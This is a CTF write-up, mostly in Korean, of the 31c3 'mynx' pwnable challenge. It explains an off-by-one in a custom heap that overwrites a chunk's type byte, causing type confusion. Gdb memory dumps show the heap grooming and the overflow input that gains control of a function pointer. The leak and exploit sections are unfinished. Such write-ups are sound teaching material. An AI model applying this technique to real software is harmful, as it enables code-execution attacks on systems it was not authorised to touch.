A writeup for mynx challenge from 31c3 CTF. Have fun :)
mynx
Category: pwnable
Points: 30
Type: Off-by-One, Custom Heap Implementation
Description:
mynx running on 188.40.18.80 1234
Custom Heap Implementation
전역변수 형태로 정의되어 있는 heapTable@0x0804A900
와 chunkCntTable@0x0804A904
와 idxCnt@0x0804A940
가 Heap Management를 수행하는데 사용된다. heapTable
의 경우 4096(0x1000)byte만큼 할당되는 메모리 블록들의 포인터 배열이며, 각각의 메모리 블록들은 256(0x100)byte 단위(chunk라 하자)로 16등분되어 사용된다. 그리고 chunkCntTable
은 앞에 선언된 heapTable
에 존재하는 chunk의 개수를 저장하고 있다. 만약 16개가 넘는다면 out-of-memory 에러를 출력하도록 되어있다. idxCnt
는 이후에 저장되는 ascii_art 혹은 comment 의 id값을 저장하기 위한 변수이다. 해당 바이너리에서 사용되는 구조체는 크게 2가지 유형이 있다.
1
2
3
4
5
6
struct ascii_art {
char type; // 0x49 : ascii_art
int id;
void (*filter_method)(char * content);
char content[247];
}
1
2
3
4
5
struct comment {
char type; // 0x37 : comment
int id;
char comment[251];
}
두 구조체의 크기는 256(0x100)byte로 동일하다. 즉, 메모리 블록내에 256byte 단위로 존재하는 chunk만큼 할당이 되는 것이다.
Vulnerability
취약점은 addComment@0x08048CE3
함수에 존재한다. addAsciiart@0x08048D8B
의 경우 read()
함수로 입력받을 때, 247byte 만큼만 받는다. 하지만, addComment
의 경우 할당된 크기(251byte)보다 1byte 더 크게 입력 받는다. 즉, 여기서 Off-by-One 취약점이 발생한다. 이는 절묘하게도 다음 chunk의 type
값을 덮어쓸 수 있고, 결국 Type Confusion 취약점으로 연계될 수 있다.
Debugging
(1) add ascii_art A1(0x804b008) - AAAA
(2) add ascii_art A2(0x804b108) - BBBB
(3) add comment(C1:0x804b208) to A1 - aaaa
(4) add comment(C2:0x804b308) to A2 - bbbb
1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000137 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000237 0x62626200 0x00000a62 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
(5) add ascii_art A3(0x804b408) - CCCC (6) delete comment(C2:0x804b308)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000137 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000200 0x62626200 0x00000a62 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
(7) add comment(C3:0x804b308) to A3 - cccc ; it will put in C2(0x804b308)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000137 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000337 0x63636300 0x00000a63 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
(8) delete comment(C1:0x0804b208)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000100 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000337 0x63636300 0x00000a63 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
(9) add comment(C2) to A2 - “b”*0xfb + “\x49” ; it will put in C1(0x0804b208) and overwrite C3(0x804b308)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000237 0x62626200 0x62626262 0x62626262
0x804b218: 0x62626262 0x62626262 0x62626262 0x62626262
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000349 0x63636300 0x00000a63 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/65wx 0x0804b208
0x804b208: 0x00000237 0x62626200 0x62626262 0x62626262
0x804b218: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b228: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b238: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b248: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b258: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b268: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b278: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b288: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b298: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2a8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2b8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2c8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2d8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2e8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2f8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b308: 0x00000349
EIP Control
실행흐름을 바꾸기 위해서는 여러가지 방법이 존재하지만 여기서는 고맙게도 함수 포인터(Function Pointer)가 존재한다. 심지어 인자 값까지 컨트롤 가능하므로 완벽한 취약점 조건이 된다.
Constructing an Information Leak
TBA